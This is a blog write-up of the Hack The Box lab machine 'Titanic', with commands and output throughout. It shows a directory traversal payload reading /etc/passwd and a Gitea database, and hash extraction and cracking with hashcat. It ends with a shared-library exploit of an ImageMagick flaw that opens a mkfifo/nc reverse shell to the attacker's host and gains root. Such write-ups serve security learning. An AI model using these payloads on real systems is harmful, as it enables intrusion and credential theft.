← Blog

Titanic

While enumerating the Titanic machine, I uncover a directory traversal vulnerability that exposes a database file on the remote server. Inside the database, I find a user password, which I crack and use to gain SSH access. Once on the box, I discover a cron job running every minute as root, invoking ImageMagick. The installed version is vulnerable to CVE-2024-41817, which I exploit to escalate privileges and gain a root shell.

nmap scans

nmap finds two TCP ports. SSH is running on port 22 and HTTP is running on 80. Port 80 redirects to http://titanic.htb.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ sudo nmap -p- -sC -sV -oN nmap/$(cat box).all.tcp.ports $(cat ip)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 10:13 EDT
Nmap scan report for 10.10.11.55
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 22.25 seconds

I add titanic.htb to my hosts file. After adding it, nmap identifies port 80 is running Werkzeug 3.0.3 on python 3.10.12. Title pages suggest this website can be used to book our trip on the sunken ship.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ sudo nmap -p- -sC -sV -oN nmap/$(cat box).all.tcp.ports $(cat ip)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 10:17 EDT
Nmap scan report for titanic.htb (10.10.11.55)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header:
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/3.0.3 Python/3.10.12
|_http-title: Titanic - Book Your Ship Trip
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 22.37 seconds

Port 80 Enumeration

Browser

Navigating to http://titanic.htb in my browser I see a Titanic themed website encouraging me to book a trip.

Titanic HTB website

While inspecting the Book Now form submission in Firefox Developer Tools, I notice a POST request sent to the /book endpoint. I also observe a GET request to the /download path with a ticket query parameter. The value of ticket appears to follow the format UUID.json.

Firefox dev tools showing /download endpoint

Using curl I see the request to download?ticket=UUID.json returns the form data attached as a json file.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ curl http://titanic.htb/download?ticket=aaa10ac1-5d07-456b-9163-303cbb726683.json --verbose
< HTTP/1.1 200 OK
< Content-Disposition: attachment; filename=aaa10ac1-5d07-456b-9163-303cbb726683.json
< Content-Type: application/json
{"name": "bill", "email": "bill@bill.htb", "phone": "5555555555", "date": "1920-01-01", "cabin": "Standard"}

Subdomain Enumeration

Using wfuzz to brute-force subdomains, I identify a subdomain named dev.

└─$ wfuzz -H 'Host: FUZZ.titanic.htb' -u 'http://titanic.htb' -w /usr/share/seclists/Discovery/DNS/namelist.txt --hc 301,400

ID           Response   Lines    Word       Chars       Payload
=====================================================================
000034730:   200        275 L    1278 W     13870 Ch    "dev"

I add dev.titanic.htb to my local hosts file.

Browser dev.titanic.htb

Visiting dev.titanic.htb in the browser shows a Gitea server.

Gitea server at dev.titanic.htb

Clicking explore I see two repositories developer/docker-config and developer/flask-app. I also see the version of the server is 1.22.1.

Gitea repositories

Browsing the flask-app repository, it becomes clear that this is the logic for titanic.htb. The download_ticket() function in app.py contains an input validation flaw: it appends the value of the ticket query parameter directly to the TICKETS_DIR path. The server then returns the file at the resulting path without validating the input.

Flask app source showing directory traversal vulnerability

I confirm this using curl by downloading /etc/passwd from the remote server.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ curl http://titanic.htb/download?ticket=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
developer:x:1000:1000:developer:/home/developer:/bin/bash

Exploiting Directory Traversal for User Access

Going back to dev.titanic.htb and looking at the docker-config repository I identify an interesting path on the remote server, /home/developer/gitea/data.

docker-config repository showing gitea data path

I am interested in finding the app.ini file for Gitea. After some educated guesses based on the docker compose file, I find it:

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
...
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
...

I download the database file and use sqlite3 to extract user hashes.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/gitea.db -o gitea.db

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ sqlite3 ./gitea.db "SELECT * FROM user;"
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|...
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|...

I use a one-liner described by 0xdf to convert these hashes into a format crackable by hashcat.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Using hashcat I discover the password for developer is 25282528.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ hashcat -m 10900 gitea.hashes /usr/share/wordlists/rockyou.txt --user

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

I use the newly found credentials to ssh to the machine.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ ssh developer@$(cat ip)
developer@10.10.11.55's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

developer@titanic:~$ cat user.txt |wc
      1       1      33

Root

In the /opt/scripts directory, I find a script named identify_images.sh that runs magick identify on all files with the .jpg extension in /opt/app/static/assets/images/. The output is written to /opt/app/static/assets/metadata.log.

developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

I keep an eye on the /opt/app/static/assets/images/ directory and notice that metadata.log updates every minute, indicating that /opt/scripts/identify_images.sh runs on a scheduled basis.

I discover the version of ImageMagick is 7.1.1-35. This version is potentially vulnerable to a shared library attack. Using the example provided in the GitHub advisory, I craft a shared library and place it in the script's execution directory. The library sends a reverse shell back to my machine.

First I set up a nc listener on port 9595.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ nc -lvnp 9595
listening on [any] 9595 ...

I then compile the shared library function.

developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.8 9595 >/tmp/f");
    exit(0);
}
EOF

After a minute of waiting, I receive a shell from root on my nc listener.

┌──(kali㉿kali)-[~/htb/Titanic/writeup]
└─$ nc -lvnp 9595
listening on [any] 9595 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.55] 40698
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt |wc
      1       1      33